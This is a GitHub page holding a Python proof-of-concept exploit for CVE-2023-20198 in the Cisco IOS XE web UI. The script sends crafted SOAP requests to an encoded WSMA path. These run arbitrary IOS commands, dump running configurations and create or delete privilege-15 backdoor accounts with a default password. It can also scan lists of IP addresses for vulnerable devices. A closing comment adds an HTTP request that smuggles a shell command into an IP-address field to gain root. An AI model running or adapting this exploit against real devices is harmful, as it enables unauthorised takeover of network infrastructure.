forked from smokeintheshell/CVE-2023-20198
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
executable file
·435 lines (387 loc) · 16.7 KB
/
Copy pathexploit.py
File metadata and controls
executable file
·435 lines (387 loc) · 16.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
#!/usr/bin/env python3
import requests
import argparse
import ipaddress
import xml.etree.ElementTree as ET
import logging
import logging.config
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# i really dont know what im doing with logger, but ive been meaning to try it out
# the requests library creates loggers when classes are instantiated. below prevents requests from spitting out its debug log when setting this scripts logger to debug
logging.config.dictConfig({'version': 1, 'disable_existing_loggers': True})
# print wrappers for verbosity
print = logging.info
printv = logging.debug
printe = logging.error
# Vars for string manipulation
rExecCmd = "<TMPEXECCMD>"
rAddUserName = "<TMPUSERNAME>"
rAddUserPass = "<TMPUSERPASS>"
rAddUserMod = "<TMPUSERMOD>"
addUserDefName = "shellsmoke"
addUserDefPass = "pwned"
execCmdGetConfig = "sh run"
execCmdCheck = "uname -a"
exURI = '%2577eb%2575i_%2577sma_Https' # exURI = '%2577eb%2575i_%2577sma_Http'
# exec cmd from nuclei template
# https://cloud.projectdiscovery.io/public/CVE-2023-20198
exTmpExecCmd = """<?xml version="1.0"?>
<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP:Header>
<wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext">
<wsse:UsernameToken SOAP:mustUnderstand="false">
<wsse:Username>admin</wsse:Username>
<wsse:Password>*****</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</SOAP:Header>
<SOAP:Body>
<request correlator="exec1" xmlns="urn:cisco:wsma-exec">
<execCLI xsd="false">
<cmd><TMPEXECCMD></cmd>
<dialogue>
<expect>
</expect>
<reply>
</reply>
</dialogue>
</execCLI>
</request>
</SOAP:Body>
</SOAP:Envelope>"""
# add user modified from nuclei template to replicate horizon3ai PoC
# https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/
exTmpAddUser = """<?xml version="1.0"?>
<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP:Header>
<wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext">
<wsse:UsernameToken SOAP:mustUnderstand="false">
<wsse:Username>admin</wsse:Username>
<wsse:Password>*****</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</SOAP:Header>
<SOAP:Body>
<request correlator="exec1" xmlns="urn:cisco:wsma-config">
<configApply details="all">
<config-data>
<cli-config-data-block>
<TMPUSERMOD>
</cli-config-data-block>
</config-data>
</configApply>
</request>
</SOAP:Body>
</SOAP:Envelope>"""
# caved and added a simple class for running check on multiple IPs
class vCisco:
def __init__(self, ip, url=None, vuln=None, ver=None):
self.ip = ip
self.vuln = vuln
self.ver = ver
self.url = url
def parseArgs():
ap = argparse.ArgumentParser(description='CVE-2023-20198 Exploit PoC', formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50))
groupTarget = ap.add_mutually_exclusive_group(required=True)
groupTarget.add_argument('-t', dest='targetIP', metavar='targetIP', action='store', help='Target IP Address')
groupTarget.add_argument('-l', dest='targetFile', metavar='targetFile', action='store', help='File containing IP Addresses (-c only)')
#ap.add_argument('-t', dest='targetIP', metavar='target', action='store', required=True, help='[Mandatory] Target IP Address')
ap.add_argument('-https', dest='tHttps', action='store_true', help='Use https')
groupMode = ap.add_mutually_exclusive_group(required=True)
groupMode.add_argument('-c', dest='checkVuln', action='store_true', help='[X] Check for vulnerability ')
groupMode.add_argument('-g', dest='getConfig', action='store_true', help='[X] Get Cisco IOS running config')
groupMode.add_argument('-e', dest='execCmd', metavar='command', action='store', help='[X] Execute Cisco IOS command')
groupMode.add_argument('-a', dest='addUser', action='store_true', help='[X] Add new priv 15 user')
groupMode.add_argument('-d', dest='delUser', action='store_true', help='[X] Remove priv 15 user')
ap.add_argument('-u', dest='addUserName', metavar='newUserName', action='store', help=f'[Optional] user name for -a or -d. Default: {addUserDefName}')
ap.add_argument('-p', dest='addUserPass', metavar='newUserPass', action='store', help=f'[Optional] new user pass for -a. Default: {addUserDefPass}')
ap.add_argument('-o', dest='outFile', metavar='outputFile', action='store', help='Write output to file')
ap.add_argument('-v', dest='verbose', action='store_true', default=False, help='Increase verbosity')
args = ap.parse_args()
# handle verbosity
if args.verbose:
logging.basicConfig(level=logging.DEBUG, format="%(message)s")
#logger.setLevel(logging.DEBUG)
else:
logging.basicConfig(level=logging.INFO, format="%(message)s")
#logger.setLevel(logging.INFO)
if ((args.targetFile) and not (args.checkVuln)):
printe("-l can only be used with -c")
exit(1)
if args.tHttps:
uScheme = 'https'
else:
uScheme = 'http'
# gross addition of target file
if args.targetIP:
targetIP = args.targetIP
try:
tmpIP = ipaddress.ip_address(targetIP)
except ValueError:
printe(f"Input target {targetIP} is not a valid IP address!")
exit(1)
targetUrl = f'{uScheme}://{targetIP}/{exURI}'
targetFile = None
elif args.targetFile:
targetFile = args.targetFile
targetIP = None
targetUrl = None
# for add/delete user we'll reuse addUser, but insert a "mode" into runSetArgs to define add vs delete. this is a lazy but effective way to limit how much needs to be rewritten
# runSetArgs now looks like this:
# [runSetMode, addUserName, addUserPass]
# addUserPass is simply ignored for del
# executing "no username" from ssh or in a conf t requires a [y|Y|Enter] confirmation prompt. BUT this confirmation prompt is not present if using the configuration endpoint!
# configure add user
if args.addUser:
runSet = "addUser"
runSetMode = "ADDUSER"
if args.addUserName:
addUserName = args.addUserName
else:
addUserName = addUserDefName
if args.addUserPass:
addUserPass = args.addUserPass
else:
addUserPass = addUserDefPass
else:
addUserName = None
addUserPass = None
# config del user
if args.delUser:
runSet = "addUser"
runSetMode = "DELUSER"
if args.addUserName:
addUserName = args.addUserName
else:
addUserName = addUserDefName
addUserPass = None
# exec cmd and config both use the command exec template
if (args.execCmd or args.getConfig):
runSet = "execCmd"
if args.execCmd:
execCmd = args.execCmd
elif args.getConfig:
execCmd = execCmdGetConfig
else:
execCmd = None
# check vuln uses the same command exec template, but we change flow in code execution in main if running check
if args.checkVuln:
runSet = "checkVuln"
execCmd = execCmdCheck
if args.outFile:
saveOut = True
outFile = args.outFile
else:
saveOut = False
outFile = None
# modExploit will use runSet and runSetArgs to do determine string replacements
if (runSet == "execCmd" or runSet == "checkVuln"):
runSetArgs = [execCmd]
elif runSet == "addUser":
runSetArgs = [runSetMode, addUserName, addUserPass]
return targetIP, targetFile, targetUrl, runSet, runSetArgs, outFile, uScheme
def modExploit(runSet, runSetArgs):
if (runSet == "execCmd" or runSet == "checkVuln"):
modEx = exTmpExecCmd
mExecCmd = runSetArgs[0]
modEx = modEx.replace(rExecCmd, mExecCmd)
elif runSet == "addUser":
modEx = exTmpAddUser
if runSetArgs[0] == "ADDUSER":
mUserName = runSetArgs[1]
mUserPass = runSetArgs[2]
mUserMod = f"username {mUserName} privilege 15 secret {mUserPass}"
#modEx = modEx.replace(rAddUserName, mUserName)
#modEx = modEx.replace(rAddUserPass, mUserPass)
modEx = modEx.replace(rAddUserMod, mUserMod)
# executing "no username" from ssh or in a conf t requires a [y|Y|Enter] confirmation prompt. BUT this confirmation prompt is not present if using the configuration endpoint!
elif runSetArgs[0] == "DELUSER":
mUserName = runSetArgs[1]
mUserMod = f"no username {mUserName} privilege 15"
modEx = modEx.replace(rAddUserMod, mUserMod)
return modEx
# this turned into a gigantic mess but i didnt want to rewrite it
def formatOut(stage, targetIP=None, runSet=None, runSetArgs=None, outFile=None, modEx=None, exStat=None, exContent=None, exXml=None, exOut=None, targetUrl=None, vtargetsOut=None ):
if stage == 1:
print(f"Selected Target:\t{targetIP}")
if runSet == "execCmd":
print("Running in Exec Mode")
print(f"Executing Command:\t{runSetArgs[0]}")
print('')
elif runSet == "addUser":
if runSetArgs[0] == "ADDUSER":
print("Adding New Privilege 15 User")
print(f"Add User Name:\t{runSetArgs[1]}")
print(f"Add User Pass:\t{runSetArgs[2]}")
print('')
elif runSetArgs[0] == "DELUSER":
print("Deleting Privilege 15 User")
print(f"Del User Name:\t{runSetArgs[1]}")
elif stage == 2:
printv("Full SOAP request body:")
printv(modEx)
printv('')
elif stage == 3:
print(f"Sending exploit to target URL:\t{targetUrl}")
elif stage == 4:
if (exStat == 200 and exContent == 'text/xml'):
printv('Responses look okay, exploit should have worked')
printv('')
else:
print("Responses don't look right, check verbose output")
printv(f"Response Status Code:\t{exStat}")
printv(f"Response Content-Type:\t{exContent}")
printv("HTTP Response Body:")
printv(exXml)
print('')
elif stage == 5:
print(f"Writing command output to {outFile}")
elif stage == 6:
print("Done.")
elif stage == 100:
print("Testing for vulnerability")
for vt in vtargetsOut:
print(vt)
elif stage == 101:
print(f"Vulnerability check results written to {outFile}")
def sendExploit(targetUrl, modEx):
# set content-type just in case. User-Agent added for script kiddie detection for defenders
exHeaders = {'content-type': 'application/x-www-form-urlencoded',
'User-Agent': 'CVE-2023-20198'}
try:
exRes = requests.post(targetUrl, headers=exHeaders, data=modEx, verify=False)
# detecting vulnerability and exploit success is kinda tricky when trying to weed out false positives, so we'll stick to HTTP status 200 and text/xml content-type for now
exStat = exRes.status_code
exContent = exRes.headers['content-type'].split(';')[0]
exXml = exRes.text
except KeyError:
exStat = exRes.status_code
exContent = None
exXml = exRes.text
except ConnectionRefusedError:
exStat = None
exContent = None
exXml = None
except requests.exceptions.ConnectionError:
exStat = None
exContent = None
exXml = None
return exStat, exContent, exXml
def writeOut(runSet, exXml):
# parsing XML in python is new to me, but playing around with the XML objects led me to coming up with this
if runSet == 'execCmd':
xpath = './/{urn:cisco:wsma-exec}received/{urn:cisco:wsma-exec}text'
root = ET.fromstring(exXml)
exOut = root.findall(xpath)
for element in exOut:
print(element.text.strip('\n'))
print('')
# I didnt do very much research on the vulnerability and pre-existing horizon3ai poc
# without much familiarity in the Cisco SOAP endpoints im kinda stuck here for now
# changes to running config didnt immediately appear to provide meaningful output, but there is some output status returned in the XML
elif runSet == 'addUser':
print('No reportable output from adding users')
print('Check verbose ouput or get running config')
exOut = None
return exOut
def writeFile(runSet, outFile, exOut=None, vtargetsOut=None):
try:
with open(outFile, 'w') as f:
if runSet == "execCmd":
for element in exOut:
cmdOut = element.text.strip('\n')
f.write(f"{cmdOut}\n")
elif runSet == "checkVuln":
for vt in vtargetsOut:
f.write(f"{vt}\n")
except Exception as e:
printe(f"Something went wrong when writing to {outFile}:")
printe(e)
# this was a last minute addition. this became a little gross when adding an input file
def exVulnCheck(targetIP, targetFile, runSet, runSetArgs, outFile, uScheme='http'):
targets = []
vtargets = []
vtargetsOut = []
if targetIP:
targets.append(targetIP)
elif targetFile:
try:
with open(targetFile, 'r') as f:
lines = f.readlines()
for l in lines:
lip = l.strip('\n')
try:
tmpip = ipaddress.ip_address(lip)
except ValueError:
printe(f"{targetFile} contains an invalid IP address: {lip}")
continue
targets.append(lip)
except Exception as e:
printe("Something went wrong:")
printe(e)
if len(targets) == 0:
printe("No valid targets!")
exit(1)
modEx = modExploit(runSet, runSetArgs)
for tip in targets:
tlines = []
turl = f'{uScheme}://{tip}/{exURI}'
vc = vCisco(tip, url=turl)
exStat, exContent, exXml = sendExploit(turl, modEx)
if ((exStat == 200) and (exContent == "text/xml")):
vc.vuln = True
xpath = './/{urn:cisco:wsma-exec}received/{urn:cisco:wsma-exec}text'
root = ET.fromstring(exXml)
exOut = root.findall(xpath)
tlines = exOut[0].text.strip('\n').split('\n')
vc.ver = tlines[0]
else:
vc.vuln = False
vc.ver = "Unknown"
vtargets.append(vc)
for vt in vtargets:
vtOut = f"Target IP:\t{vt.ip}\n"
vtOut += f"Target URL:\t{vt.url}\n"
vtOut += f"Vulnerable:\t{vt.vuln}\n"
vtOut += f"IOS Ver:\t{vt.ver}\n"
vtargetsOut.append(vtOut)
formatOut(stage=100, vtargetsOut=vtargetsOut)
if outFile is not None:
writeFile(runSet, outFile, vtargetsOut=vtargetsOut)
formatOut(stage=101, outFile=outFile)
formatOut(stage=6)
exit()
def main():
targetIP, targetFile, targetUrl, runSet, runSetArgs, outFile, uScheme = parseArgs()
# if running check, move over to exVulnCheck and exit from there. otherwise go through standard execution
if runSet == "checkVuln":
exVulnCheck(targetIP, targetFile, runSet, runSetArgs, outFile, uScheme)
formatOut(stage=1, targetIP=targetIP, runSet=runSet, runSetArgs=runSetArgs)
modEx = modExploit(runSet, runSetArgs)
formatOut(stage=2, modEx=modEx)
formatOut(stage=3, targetUrl=targetUrl)
exStat, exContent, exXml = sendExploit(targetUrl, modEx)
formatOut(stage=4, runSet=runSet, exStat=exStat, exContent=exContent, exXml=exXml)
exOut = writeOut(runSet, exXml)
if ((outFile is not None) and (runSet == 'execCmd')):
formatOut(stage=5, exOut=exOut, outFile=outFile)
writeFile(runSet, outFile, exOut=exOut)
formatOut(stage=6)
if __name__ == "__main__":
main()
# privesc to root
# https://blog.leakix.net/2023/10/cisco-root-privesc/
# https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf
'''
POST /webui/rest/softwareMgmt/installAdd HTTP/1.1
Host: 10.0.0.1
Content-Length: 42
Cookie: Auth=<cookie from valid auth>
X-Csrf-Token: <token from /webui/rest/getDeviceCapability>
{"installMethod":"tftp","ipaddress":"1000:1000:1000: $(echo hello world > /var/www/hello.html)","operation_type":"SMU","filePath":"test","fileSystem":"flash:"}
'''
# more:
# https://www.picussecurity.com/resource/blog/cve-2023-20198-actively-exploited-cisco-ios-xe-zero-day-vulnerability
# https://www.tenable.com/blog/cve-2023-20198-zero-day-vulnerability-in-cisco-ios-xe-exploited-in-the-wild
# https://twitter.com/leak_ix/status/1718323987623633035